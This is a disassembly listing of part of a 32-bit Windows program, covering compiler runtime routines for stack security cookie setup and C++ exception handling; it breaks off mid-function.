var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_423068
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	ebx
		push	edi
		mov	edi, 0BB40E64Eh
		cmp	eax, edi
		mov	ebx, 0FFFF0000h
		jz	short loc_415375
		test	eax, ebx
		jz	short loc_415375
		not	eax
		mov	dword_42306C, eax
		jmp	short loc_4153D5
; ---------------------------------------------------------------------------

loc_415375:				; CODE XREF: sub_415345+21j
					; sub_415345+25j
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41E1AC
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	ds:dword_41E1B8	; GetCurrentProcessId
		xor	esi, eax
		call	ds:dword_41E0E4	; GetCurrentThreadId
		xor	esi, eax
		call	ds:dword_41E108	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41E054	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		cmp	esi, edi
		jnz	short loc_4153BB
		mov	esi, 0BB40E64Fh
		jmp	short loc_4153C6
; ---------------------------------------------------------------------------

loc_4153BB:				; CODE XREF: sub_415345+6Dj
		test	esi, ebx
		jnz	short loc_4153C6
		mov	eax, esi
		shl	eax, 10h
		or	esi, eax

loc_4153C6:				; CODE XREF: sub_415345+74j
					; sub_415345+78j
		mov	dword_423068, esi
		not	esi
		mov	dword_42306C, esi
		pop	esi

loc_4153D5:				; CODE XREF: sub_415345+2Ej
		pop	edi
		pop	ebx
		leave
		retn
sub_415345	endp


; =============== S U B	R O U T	I N E =======================================



sub_4153D9	proc near		; DATA XREF: sub_415445o
					; .data:00423064o ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		mov	eax, [edi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_415412
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_415412
		mov	eax, [eax+14h]
		cmp	eax, 19930520h
		jz	short loc_41540D
		cmp	eax, 19930521h
		jz	short loc_41540D
		cmp	eax, 19930522h
		jz	short loc_41540D
		cmp	eax, 1994000h
		jnz	short loc_415412

loc_41540D:				; CODE XREF: sub_4153D9+1Dj
					; sub_4153D9+24j ...
		call	sub_416114

loc_415412:				; CODE XREF: sub_4153D9+Dj
					; sub_4153D9+13j ...
		cmp	byte_426468, 0
		push	esi
		jz	short loc_41543E
		push	dword_426464
		call	sub_40F674
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_41543E
		push	esi
		call	sub_41A224
		test	eax, eax
		pop	ecx
		jz	short loc_41543E
		push	edi
		call	esi
		jmp	short loc_415440
; ---------------------------------------------------------------------------

loc_41543E:				; CODE XREF: sub_4153D9+41j
					; sub_4153D9+53j ...
		xor	eax, eax

loc_415440:				; CODE XREF: sub_4153D9+63j
		pop	esi
		pop	edi
		retn	4
sub_4153D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415445	proc near		; DATA XREF: ev73vtp2:0041E2C8o
		push	offset sub_4153D9
		call	ds:dword_41E1B0	; SetUnhandledExceptionFilter
		push	eax
		call	sub_40F608
		mov	dword_426464, eax
		pop	ecx
		mov	byte_426468, 1
		xor	eax, eax
		retn
sub_415445	endp


; =============== S U B	R O U T	I N E =======================================



sub_415466	proc near		; DATA XREF: ev73vtp2:0041E2F8o
		cmp	byte_426468, 0
		jz	short locret_415489
		push	dword_426464
		call	sub_40F674
		pop	ecx
		push	eax
		call	ds:dword_41E1B0	; SetUnhandledExceptionFilter
		mov	byte_426468, 0

locret_415489:				; CODE XREF: sub_415466+7j
		retn
sub_415466	endp


; =============== S U B	R O U T	I N E =======================================



sub_41548A	proc near		; DATA XREF: ev73vtp2:00421DC0o
		mov	dword ptr [ecx], offset	off_41EC14
		jmp	sub_40D0AF
sub_41548A	endp

; ---------------------------------------------------------------------------

loc_415495:				; DATA XREF: ev73vtp2:off_41EC14o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41EC14
		call	sub_40D0AF
		test	byte ptr [esp+8], 1
		jz	short loc_4154B1
		push	esi
		call	sub_40D352
		pop	ecx

loc_4154B1:				; CODE XREF: .text:004154A8j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4154B7	proc near		; CODE XREF: sub_4156F6+4Ep
					; sub_415CC2+21Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41550D
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_41550D
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4154EB
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4154EB

loc_4154E7:				; CODE XREF: sub_4154B7+3Cj
					; sub_4154B7+4Bj ...
		xor	eax, eax
		jmp	short loc_415510
; ---------------------------------------------------------------------------

loc_4154EB:				; CODE XREF: sub_4154B7+1Ej
					; sub_4154B7+2Ej
		test	byte ptr [esi],	2
		jz	short loc_4154F5
		test	byte ptr [edi],	8
		jz	short loc_4154E7

loc_4154F5:				; CODE XREF: sub_4154B7+37j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_415504
		test	byte ptr [edi],	1
		jz	short loc_4154E7

loc_415504:				; CODE XREF: sub_4154B7+46j
		test	al, 2
		jz	short loc_41550D
		test	byte ptr [edi],	2
		jz	short loc_4154E7

loc_41550D:				; CODE XREF: sub_4154B7+Bj
					; sub_4154B7+13j ...
		xor	eax, eax
		inc	eax

loc_415510:				; CODE XREF: sub_4154B7+32j
		pop	edi
		pop	esi
		retn
sub_4154B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415513	proc near		; CODE XREF: sub_415557+85p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0E0434F4Dh
		jz	short loc_41553A
		cmp	eax, 0E06D7363h
		jnz	short loc_415554
		call	sub_40F87E
		and	dword ptr [eax+90h], 0
		jmp	sub_416114
; ---------------------------------------------------------------------------

loc_41553A:				; CODE XREF: sub_415513+Dj
		call	sub_40F87E
		cmp	dword ptr [eax+90h], 0
		jle	short loc_415554
		call	sub_40F87E
		add	eax, 90h
		dec	dword ptr [eax]

loc_415554:				; CODE XREF: sub_415513+14j
					; sub_415513+33j
		xor	eax, eax
		retn
sub_415513	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415557	proc near		; CODE XREF: sub_4157B8+ECp
					; sub_415B64+36p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset dword_421CB8
		call	__SEH_prolog4
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [edi+4], 80h
		jg	short loc_415578
		movsx	esi, byte ptr [ebx+8]
		jmp	short loc_41557B
; ---------------------------------------------------------------------------

loc_415578:				; CODE XREF: sub_415557+19j
		mov	esi, [ebx+8]

loc_41557B:				; CODE XREF: sub_415557+1Fj
		mov	[ebp+var_1C], esi
		call	sub_40F87E
		add	eax, 90h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0

loc_41558E:				; CODE XREF: sub_415557+9Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4155F8
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41559D
		cmp	esi, [edi+4]
		jl	short loc_4155A2

loc_41559D:				; CODE XREF: sub_415557+3Fj
		call	sub_416160

loc_4155A2:				; CODE XREF: sub_415557+44j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_4155D3
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_4161B0

loc_4155D3:				; CODE XREF: sub_415557+65j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------

loc_4155D9:				; DATA XREF: ev73vtp2:00421CD8o
		push	[ebp+ms_exc.exc_ptr]
		call	sub_415513
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_4155E3:				; DATA XREF: ev73vtp2:00421CD8o
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]

loc_4155F3:				; CODE XREF: sub_415557+80j
		mov	[ebp+var_1C], esi
		jmp	short loc_41558E
; ---------------------------------------------------------------------------

loc_4155F8:				; CODE XREF: sub_415557+3Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41561D
		cmp	esi, [ebp+arg_C]
		jz	short loc_41560E
		call	sub_416160

loc_41560E:				; CODE XREF: sub_415557+B0j
		mov	[ebx+8], esi
		call	__SEH_epilog4
		retn
sub_415557	endp


; =============== S U B	R O U T	I N E =======================================



sub_415617	proc near		; DATA XREF: ev73vtp2:00421CD0o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_415617	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41561D	proc near		; CODE XREF: sub_415557+A8p
		call	sub_40F87E
		cmp	dword ptr [eax+90h], 0
		jle	short locret_415637
		call	sub_40F87E
		add	eax, 90h
		dec	dword ptr [eax]

locret_415637:				; CODE XREF: sub_41561D+Cj
		retn
sub_41561D	endp


; =============== S U B	R O U T	I N E =======================================



sub_415638	proc near		; CODE XREF: sub_4157B8+93p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41567A
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41567A
		mov	ecx, [eax+14h]
		cmp	ecx, 19930520h
		jz	short loc_415663
		cmp	ecx, 19930521h
		jz	short loc_415663
		cmp	ecx, 19930522h
		jnz	short loc_41567A

loc_415663:				; CODE XREF: sub_415638+19j
					; sub_415638+21j
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41567A
		call	sub_40F87E
		xor	ecx, ecx
		inc	ecx
		mov	[eax+20Ch], ecx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41567A:				; CODE XREF: sub_415638+8j
					; sub_415638+Ej ...
		xor	eax, eax
		retn
sub_415638	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41567D	proc near		; CODE XREF: sub_410B20+112p
					; sub_4158DE+6Ep ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421CE0
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short loc_4156BA
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_4156BA
		mov	eax, [ecx+1Ch]
		test	eax, eax
		jz	short loc_4156BA
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_4156BA
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	dword ptr [ecx+18h]
		call	sub_40E716
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_4156BA:				; CODE XREF: sub_41567D+11j
					; sub_41567D+19j ...
		call	__SEH_epilog4
		retn
sub_41567D	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_416114

; =============== S U B	R O U T	I N E =======================================



sub_4156D1	proc near		; CODE XREF: sub_415954+86p
					; sub_415954+113p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [ecx]
		push	esi
		mov	esi, [esp+4+arg_0]
		add	eax, esi
		cmp	dword ptr [ecx+4], 0
		jl	short loc_4156F4
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_4156F4:				; CODE XREF: sub_4156D1+11j
		pop	esi
		retn
sub_4156D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156F6	proc near		; CODE XREF: sub_415CC2+111p
					; sub_415CC2+2AEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		test	edi, edi
		jnz	short loc_41570A
		call	sub_416160
		jmp	sub_416114
; ---------------------------------------------------------------------------

loc_41570A:				; CODE XREF: sub_4156F6+8j
		and	[ebp+var_8], 0
		cmp	dword ptr [edi], 0
		mov	[ebp+var_1], 0
		jle	short loc_41576A
		push	ebx
		push	esi

loc_415719:				; CODE XREF: sub_4156F6+70j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+1Ch]
		mov	eax, [eax+0Ch]
		mov	ebx, [eax]
		test	ebx, ebx
		lea	esi, [eax+4]
		jle	short loc_41575E
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	[ebp+var_C], eax

loc_415734:				; CODE XREF: sub_4156F6+60j
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+1Ch]
		mov	eax, [esi]
		push	eax
		mov	eax, [edi+4]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_4154B7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41575A
		dec	ebx
		add	esi, 4
		test	ebx, ebx
		jg	short loc_415734
		jmp	short loc_41575E
; ---------------------------------------------------------------------------

loc_41575A:				; CODE XREF: sub_4156F6+58j
		mov	[ebp+var_1], 1

loc_41575E:				; CODE XREF: sub_4156F6+33j
					; sub_4156F6+62j
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [edi]
		jl	short loc_415719
		pop	esi
		pop	ebx

loc_41576A:				; CODE XREF: sub_4156F6+1Fj
		mov	al, [ebp+var_1]
		leave
		retn
sub_4156F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41576F	proc near		; CODE XREF: sub_415CC2+30Ap
		push	4
		mov	eax, offset sub_41DB6E
		call	sub_40EAE0
		call	sub_40F87E
		cmp	dword ptr [eax+94h], 0
		jz	short loc_41578E
		call	sub_416160

loc_41578E:				; CODE XREF: sub_41576F+18j
		and	dword ptr [ebp-4], 0
		call	sub_41614D
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	sub_416114
sub_41576F	endp

; ---------------------------------------------------------------------------
		call	sub_40F87E
		mov	ecx, [ebp+8]
		push	0
		push	0
		mov	[eax+94h], ecx
		call	sub_40E69C
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157B8	proc near		; CODE XREF: sub_415B64+57p

var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 004158D3 SIZE 00000005 BYTES

		push	2Ch
		push	offset dword_421D58
		call	__SEH_prolog4
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_34], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40E9BA
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		call	sub_40F87E
		mov	eax, [eax+88h]
		mov	[ebp+var_2C], eax
		call	sub_40F87E
		mov	eax, [eax+8Ch]
		mov	[ebp+var_30], eax
		call	sub_40F87E
		mov	[eax+88h], esi
		call	sub_40F87E
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		xor	eax, eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	[ebp+ms_exc.disabled], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_40EA4F
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_4158B7
; ---------------------------------------------------------------------------

loc_415848:				; DATA XREF: ev73vtp2:00421D78o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_415638
		retn
; ---------------------------------------------------------------------------

loc_415851:				; DATA XREF: ev73vtp2:00421D78o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_40F87E
		and	dword ptr [eax+20Ch], 0
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_4]
		cmp	dword ptr [esi+4], 80h
		jg	short loc_415875
		movsx	ecx, byte ptr [edi+8]
		jmp	short loc_415878
; ---------------------------------------------------------------------------

loc_415875:				; CODE XREF: sub_4157B8+B5j
		mov	ecx, [edi+8]

loc_415878:				; CODE XREF: sub_4157B8+BBj
		mov	ebx, [esi+10h]
		and	[ebp+var_20], 0

loc_41587F:				; CODE XREF: sub_4157B8+11Ej
		mov	eax, [ebp+var_20]
		cmp	eax, [esi+0Ch]
		jnb	short loc_41589F
		imul	eax, 14h
		add	eax, ebx
		mov	edx, [eax+4]
		cmp	ecx, edx
		jle	short loc_4158D3
		cmp	ecx, [eax+8]
		jg	short loc_4158D3
		mov	eax, [esi+8]
		mov	ecx, [eax+edx*8+8]

loc_41589F:				; CODE XREF: sub_4157B8+CDj
		push	ecx
		push	esi
		push	0
		push	edi
		call	sub_415557
		add	esp, 10h
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]

loc_4158B7:				; CODE XREF: sub_4157B8+8Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	[ebp+arg_8], 0
		call	sub_4158DE
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_4157B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4157B8

loc_4158D3:				; CODE XREF: sub_4157B8+D9j
					; sub_4157B8+DEj
		inc	[ebp+var_20]
		jmp	short loc_41587F
; END OF FUNCTION CHUNK	FOR sub_4157B8

; =============== S U B	R O U T	I N E =======================================



sub_4158D8	proc near		; DATA XREF: ev73vtp2:00421D70o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_4158D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4158DE	proc near		; CODE XREF: sub_4157B8+10Dp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-28h]
		call	sub_40EA03
		pop	ecx
		call	sub_40F87E
		mov	ecx, [ebp-2Ch]
		mov	[eax+88h], ecx
		call	sub_40F87E
		mov	ecx, [ebp-30h]
		mov	[eax+8Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_415953
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_415953
		mov	eax, [esi+14h]
		cmp	eax, 19930520h
		jz	short loc_41592F
		cmp	eax, 19930521h
		jz	short loc_41592F
		cmp	eax, 19930522h
		jnz	short locret_415953

loc_41592F:				; CODE XREF: sub_4158DE+41j
					; sub_4158DE+48j
		cmp	dword ptr [ebp-34h], 0
		jnz	short locret_415953
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_415953
		push	dword ptr [esi+18h]
		call	sub_40E9E2
		pop	ecx
		test	eax, eax
		jz	short locret_415953
		push	dword ptr [ebp+10h]
		push	esi
		call	sub_41567D
		pop	ecx
		pop	ecx

locret_415953:				; CODE XREF: sub_4158DE+31j
					; sub_4158DE+37j ...
		retn
sub_4158DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415954	proc near		; CODE XREF: sub_415AD3+36p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset dword_421D80
		call	__SEH_prolog4
		xor	edx, edx
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		cmp	ecx, edx
		jz	loc_415ACB
		cmp	[ecx+8], dl
		jz	loc_415ACB
		mov	ecx, [eax+8]
		cmp	ecx, edx
		jnz	short loc_41598F
		test	dword ptr [eax], 80000000h
		jz	loc_415ACB

loc_41598F:				; CODE XREF: sub_415954+2Dj
		mov	eax, [eax]
		mov	esi, [ebp+arg_4]
		test	eax, eax
		js	short loc_41599C
		lea	esi, [ecx+esi+0Ch]

loc_41599C:				; CODE XREF: sub_415954+42j
		mov	[ebp+ms_exc.disabled], edx
		xor	ebx, ebx
		inc	ebx
		push	ebx
		test	al, 8
		jz	short loc_4159E8
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi+18h]
		call	sub_41A224
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415AAE
		push	ebx
		push	esi
		call	sub_41A224
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415AAE
		mov	eax, [edi+18h]
		mov	[esi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_4159D9:				; CODE XREF: sub_415954+E7j
		push	eax
		call	sub_4156D1
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jmp	loc_415AB3
; ---------------------------------------------------------------------------

loc_4159E8:				; CODE XREF: sub_415954+51j
		mov	edi, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		test	[edi], bl
		jz	short loc_415A3D
		call	sub_41A224
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415AAE
		push	ebx
		push	esi
		call	sub_41A224
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415AAE
		push	dword ptr [edi+14h]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	esi
		call	sub_411AC0
		add	esp, 0Ch
		cmp	dword ptr [edi+14h], 4
		jnz	loc_415AB3
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415AB3
		add	edi, 8
		push	edi
		jmp	short loc_4159D9
; ---------------------------------------------------------------------------

loc_415A3D:				; CODE XREF: sub_415954+9Fj
		cmp	[edi+18h], edx
		jnz	short loc_415A7A
		call	sub_41A224
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415AAE
		push	ebx
		push	esi
		call	sub_41A224
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415AAE
		push	dword ptr [edi+14h]
		add	edi, 8
		push	edi
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		call	sub_4156D1
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_411AC0
		add	esp, 0Ch
		jmp	short loc_415AB3
; ---------------------------------------------------------------------------

loc_415A7A:				; CODE XREF: sub_415954+ECj
		call	sub_41A224
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415AAE
		push	ebx
		push	esi
		call	sub_41A224
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415AAE
		push	dword ptr [edi+18h]
		call	sub_41A224
		pop	ecx
		test	eax, eax
		jz	short loc_415AAE
		test	byte ptr [edi],	4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_1C], eax
		jmp	short loc_415AB3
; ---------------------------------------------------------------------------

loc_415AAE:				; CODE XREF: sub_415954+62j
					; sub_415954+73j ...
		call	sub_416160

loc_415AB3:				; CODE XREF: sub_415954+8Fj
					; sub_415954+D7j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		jmp	short loc_415ACD
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	sub_416114
; ---------------------------------------------------------------------------

loc_415ACB:				; CODE XREF: sub_415954+19j
					; sub_415954+22j ...
		xor	eax, eax

loc_415ACD:				; CODE XREF: sub_415954+169j
		call	__SEH_epilog4
		retn
sub_415954	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AD3	proc near		; CODE XREF: sub_415B64+11p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	8
		push	offset dword_421DA0
		call	__SEH_prolog4
		mov	eax, [ebp+arg_8]
		test	dword ptr [eax], 80000000h
		jz	short loc_415AEF
		mov	ebx, [ebp+arg_4]
		jmp	short loc_415AF9
; ---------------------------------------------------------------------------

loc_415AEF:				; CODE XREF: sub_415AD3+15j
		mov	ecx, [eax+8]
		mov	edx, [ebp+arg_4]
		lea	ebx, [ecx+edx+0Ch]

loc_415AF9:				; CODE XREF: sub_415AD3+1Aj
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_415954
		add	esp, 10h
		dec	eax
		jz	short loc_415B33
		dec	eax
		jnz	short loc_415B4B
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_4156D1
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_40E716
		jmp	short loc_415B4B
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415AD3+3Fj
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_4156D1
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_40E716

loc_415B4B:				; CODE XREF: sub_415AD3+42j
					; sub_415AD3+5Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	__SEH_epilog4
		retn
sub_415AD3	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_416114

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B64	proc near		; CODE XREF: sub_415BD0+D4p
					; sub_415CC2+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_10], 0
		jz	short loc_415B7D
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		call	sub_415AD3
		add	esp, 10h

loc_415B7D:				; CODE XREF: sub_415B64+7j
		cmp	[ebp+arg_18], 0
		push	[ebp+arg_0]
		jnz	short loc_415B89
		push	esi
		jmp	short loc_415B8C
; ---------------------------------------------------------------------------

loc_415B89:				; CODE XREF: sub_415B64+20j
		push	[ebp+arg_18]

loc_415B8C:				; CODE XREF: sub_415B64+23j
		call	sub_40E71D
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_415557
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_14]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_4157B8
		add	esp, 28h
		test	eax, eax
		jz	short loc_415BCE
		push	esi
		push	eax
		call	sub_40E6E6

loc_415BCE:				; CODE XREF: sub_415B64+61j
		pop	ebp
		retn
sub_415B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD0	proc near		; CODE XREF: sub_415CC2+336p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_415CBF
		push	edi
		call	sub_40F87E
		cmp	dword ptr [eax+80h], 0
		jz	short loc_415C33
		call	sub_40F87E
		lea	edi, [eax+80h]
		call	sub_40F66B
		cmp	[edi], eax
		jz	short loc_415C33
		cmp	dword ptr [esi], 0E0434F4Dh
		jz	short loc_415C33
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_40E7D5
		add	esp, 1Ch
		test	eax, eax
